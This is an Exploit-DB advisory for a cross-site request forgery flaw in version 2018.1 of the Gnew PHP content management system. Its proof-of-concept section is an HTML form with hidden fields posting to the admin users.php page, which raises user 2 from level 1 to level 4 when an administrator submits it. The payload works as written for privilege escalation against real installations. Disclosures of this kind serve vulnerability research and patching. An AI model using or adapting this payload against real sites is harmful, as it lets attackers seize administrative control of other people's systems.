Gnew 2018.1 - Cross-Site Request Forgery

EDB-ID: 43909
Author: Cyril Vallicari
Published: 2018-01-28
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Date: 26/01/2018 
# Exploit Author: Cyril Vallicari / HTTPCS - ZIWIT
# Vendor website : http://gnew.xyz/
# Software download : http://www.gnew.xyz/pages/download.php
# Version: 2018.1
# Tested on: Windows 10 Home x64  / Kali Linux

Product description :

Gnew is a simple content management system (CMS) written in PHP and
using a database server (MySQL, PostgreSQL or SQLite) for storage. It is
fully customizable because it uses a system of templates and supports
multiple languages

Description :

A vulnerability has been discovered in Gnew , which can be exploited by
malicious people to conduct cross-site request forgery attacks.
This can be used to get a privilege escalation on the targeted application.

POC :

------------------------------------ HTML--------------------------------------

<form action="http://Target/gnew/admin/users.php " method="POST">
 <input type="hidden" name="_method" value="POST"/>
 <input type="hidden" name="user_name" value="test2"/>
 <input type="hidden" name="user_level" value="4"/>
 <input type="hidden" name="user_email" value="[email protected]"/>
 <input type="hidden" name="user_show_email" value="0"/>
<input type="hidden" name="user_day" value="0"/>
<input type="hidden" name="user_month" value="0"/>
<input type="hidden" name="user_month" value="0"/>
 <input type="hidden" name="user_language" value="english"/>
 <input type="hidden" name="user_template" value="clean"/>
 <input type="hidden" name="user_date_format" value="D,+M+jS+Y,+g:i+a"/>
 <input type="hidden" name="user_date_offset" value="0"/>
<input type="hidden" name="user_avatar" value=""/>
 <input type="hidden" name="user_date_offset" value="0"/>
 <input type="hidden" name="user_avatar"
value="./../images/avatars/empty.png"/>
 <input type="hidden" name="user_id" value="2"/>
<input type="hidden" name="user_level_old" value="1"/>
<input type="hidden" name="user_name_old" value="test2"/>
<input type="hidden" name="edit_user" value="Éditer"/>
<input type="submit" value="CSRF This"/></form>

------------------------------------ HTML END--------------------------------------

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